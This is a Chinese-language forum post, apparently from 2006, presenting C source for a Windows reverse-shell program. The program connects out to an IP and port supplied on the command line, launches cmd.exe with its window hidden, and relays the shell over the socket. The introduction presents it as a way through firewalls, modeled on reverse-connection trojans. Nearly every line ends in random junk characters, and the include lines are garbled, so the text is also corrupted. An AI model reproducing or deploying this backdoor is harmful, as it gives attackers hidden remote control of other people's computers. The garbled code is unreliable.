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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZZ2vvtlyG  
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/* ============================== Ixb=L (V  
Rebound port in Windows NT 2|3)S`WZl  
By wind,2006/7 :o0JY= 5  
===============================*/ ;&< {ey  
#include "?]{ %-u  
#include LJd5;so-  
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#pragma comment(lib,"wsock32.lib") c`J.Tm[_u  
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void OutputShell(); o3Yb7h9  
SOCKET sClient; e- :yb^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7S '% E  
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void main(int argc,char **argv) mg^I=kpk  
{ ~zHjMo2  
WSADATA stWsaData; =5J7Hw&K  
int nRet; e<3K;Q  
SOCKADDR_IN stSaiClient,stSaiServer;  aC$B2  
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if(argc != 3) RN$1bxY  
{ /1"(cQ%?  
printf("Useage:\n\rRebound DestIP DestPort\n"); x'+T/zw  
return; |jI#"LbF  
} 7&t-pv92*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >p)MawT]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g[1gF&  
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stSaiClient.sin_family = AF_INET; (U&tt]|  
stSaiClient.sin_port = htons(0); v25R_""~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7|{}\w(I  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &~8oQC-eF  
{ N >FKy'.gk  
printf("Bind Socket Failed!\n"); uD\?(LM  
return; 8J:}%DaxL  
} s3~lT.  
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stSaiServer.sin_family = AF_INET; pOGeru u?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }Ga\wV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?3nR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -8; 7Sp1  
{ bSiYHRH.e  
printf("Connect Error!"); K~c=M",mW  
return; }p}[j t  
} }=%oX}[  
OutputShell(); ?{/4b:ua  
} / : L?~  
u?4:H=;>  
void OutputShell() 2;z b\d  
{ hlV=qfc  
char szBuff[1024]; igkYX!0#8O  
SECURITY_ATTRIBUTES stSecurityAttributes; Wi*.TWz3  
OSVERSIONINFO stOsversionInfo; {9?JjA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g l^<Q  
STARTUPINFO stStartupInfo; BcL{se9<  
char *szShell; *AG#316  
PROCESS_INFORMATION stProcessInformation; :yRo3c  
unsigned long lBytesRead; D ~stM  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V}J)\VZ2#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z3#P,y9@  
stSecurityAttributes.lpSecurityDescriptor = 0; KV}FZ3jY  
stSecurityAttributes.bInheritHandle = TRUE; qs1 ?IYD  
m+b):  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '?!zG{x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Zo|.1pN  
z>XrU>}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =T -&j60  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xAK6pDp  
stStartupInfo.wShowWindow = SW_HIDE; lt ^GvWg  
stStartupInfo.hStdInput = hReadPipe; T^Y([23  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ).Fpgxs  
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GetVersionEx(&stOsversionInfo); 8VeQ-#7M/  
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switch(stOsversionInfo.dwPlatformId) v/](yT  
{ F<L EQ7T  
case 1: ZG>PQA  
szShell = "command.com"; V,mw[Hw  
break; lhYe;b(  
default: C69q&S,  
szShell = "cmd.exe"; HW=C),*]cR  
break; P#R R9>Q  
} 'JCZ]pZ  
>64P6P;S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uEktQ_u[  
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send(sClient,szMsg,77,0); U@HK+C"M|  
while(1) v16 JgycM  
{ 6A>dhU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3  ^>l\,  
if(lBytesRead) byLft 1  
{ ;*Ivn@L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oE+R3[D?r  
send(sClient,szBuff,lBytesRead,0); {l>yi  
} B.dH(um  
else  Of"  
{ o$#G0}yn  
lBytesRead=recv(sClient,szBuff,1024,0); -&3hEv5  
if(lBytesRead<=0) break; +_; l|uhT;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -n=^U  
} Ont%eC\  
} zb k q   
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return; .$qnZWcgG  
}
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